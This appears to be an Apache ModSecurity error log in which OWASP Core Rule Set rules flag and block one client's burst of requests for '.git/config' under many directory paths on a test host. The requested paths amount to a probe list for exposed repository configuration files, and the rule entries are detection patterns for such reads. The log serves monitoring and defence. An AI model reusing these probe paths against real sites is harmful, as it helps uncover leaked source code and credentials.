[Thu Jan 16 14:20:44.125192 2025] [:error] [pid 507252] [client 45.135.232.70:48248] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scheduled/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqAAAAAc&quot;]
[Thu Jan 16 14:20:44.127250 2025] [:error] [pid 510615] [client 45.135.232.70:48196] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rAAAAAk&quot;]
[Thu Jan 16 14:20:44.127852 2025] [:error] [pid 510615] [client 45.135.232.70:48196] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rAAAAAk&quot;]
[Thu Jan 16 14:20:44.128207 2025] [:error] [pid 510631] [client 45.135.232.70:48366] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVAAAAA4&quot;]
[Thu Jan 16 14:20:44.128249 2025] [:error] [pid 510615] [client 45.135.232.70:48196] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rAAAAAk&quot;]
[Thu Jan 16 14:20:44.128803 2025] [:error] [pid 510631] [client 45.135.232.70:48366] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVAAAAA4&quot;]
[Thu Jan 16 14:20:44.129281 2025] [:error] [pid 510631] [client 45.135.232.70:48366] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVAAAAA4&quot;]
[Thu Jan 16 14:20:44.138440 2025] [:error] [pid 510629] [client 45.135.232.70:48278] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozQAAAAw&quot;]
[Thu Jan 16 14:20:44.138870 2025] [:error] [pid 510629] [client 45.135.232.70:48278] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozQAAAAw&quot;]
[Thu Jan 16 14:20:44.139148 2025] [:error] [pid 510629] [client 45.135.232.70:48278] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozQAAAAw&quot;]
[Thu Jan 16 14:20:44.140219 2025] [:error] [pid 500655] [client 45.135.232.70:48374] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/email/mailjet/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/mailjet/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzegAAAAM&quot;]
[Thu Jan 16 14:20:44.140244 2025] [:error] [pid 510616] [client 45.135.232.70:48250] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MQAAAAo&quot;]
[Thu Jan 16 14:20:44.140594 2025] [:error] [pid 500655] [client 45.135.232.70:48374] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/mailjet/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzegAAAAM&quot;]
[Thu Jan 16 14:20:44.140624 2025] [:error] [pid 510616] [client 45.135.232.70:48250] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MQAAAAo&quot;]
[Thu Jan 16 14:20:44.140991 2025] [:error] [pid 500655] [client 45.135.232.70:48374] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/mailjet/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzegAAAAM&quot;]
[Thu Jan 16 14:20:44.142616 2025] [:error] [pid 501744] [client 45.135.232.70:48292] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFQAAAAY&quot;]
[Thu Jan 16 14:20:44.143019 2025] [:error] [pid 501744] [client 45.135.232.70:48292] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFQAAAAY&quot;]
[Thu Jan 16 14:20:44.143320 2025] [:error] [pid 501744] [client 45.135.232.70:48292] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFQAAAAY&quot;]
[Thu Jan 16 14:20:44.143687 2025] [:error] [pid 510637] [client 45.135.232.70:48288] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbgAAAA8&quot;]
[Thu Jan 16 14:20:44.143950 2025] [:error] [pid 510637] [client 45.135.232.70:48288] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbgAAAA8&quot;]
[Thu Jan 16 14:20:44.144207 2025] [:error] [pid 510637] [client 45.135.232.70:48288] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VbgAAAA8&quot;]
[Thu Jan 16 14:20:44.145044 2025] [:error] [pid 510616] [client 45.135.232.70:48250] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MQAAAAo&quot;]
[Thu Jan 16 14:20:44.145814 2025] [:error] [pid 500653] [client 45.135.232.70:48222] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/email/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/email/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNAwAAAAE&quot;]
[Thu Jan 16 14:20:44.146045 2025] [:error] [pid 500653] [client 45.135.232.70:48222] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/email/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNAwAAAAE&quot;]
[Thu Jan 16 14:20:44.146217 2025] [:error] [pid 500653] [client 45.135.232.70:48222] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/email/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNAwAAAAE&quot;]
[Thu Jan 16 14:20:44.146492 2025] [:error] [pid 510617] [client 45.135.232.70:48186] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiIwAAAAs&quot;]
[Thu Jan 16 14:20:44.146675 2025] [:error] [pid 510617] [client 45.135.232.70:48186] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiIwAAAAs&quot;]
[Thu Jan 16 14:20:44.146909 2025] [:error] [pid 510617] [client 45.135.232.70:48186] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiIwAAAAs&quot;]
[Thu Jan 16 14:20:44.236430 2025] [:error] [pid 507252] [client 45.135.232.70:48456] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqQAAAAc&quot;]
[Thu Jan 16 14:20:44.237026 2025] [:error] [pid 507252] [client 45.135.232.70:48456] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqQAAAAc&quot;]
[Thu Jan 16 14:20:44.237647 2025] [:error] [pid 507252] [client 45.135.232.70:48456] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqQAAAAc&quot;]
[Thu Jan 16 14:20:44.241633 2025] [:error] [pid 510615] [client 45.135.232.70:48510] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rQAAAAk&quot;]
[Thu Jan 16 14:20:44.242215 2025] [:error] [pid 510615] [client 45.135.232.70:48510] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rQAAAAk&quot;]
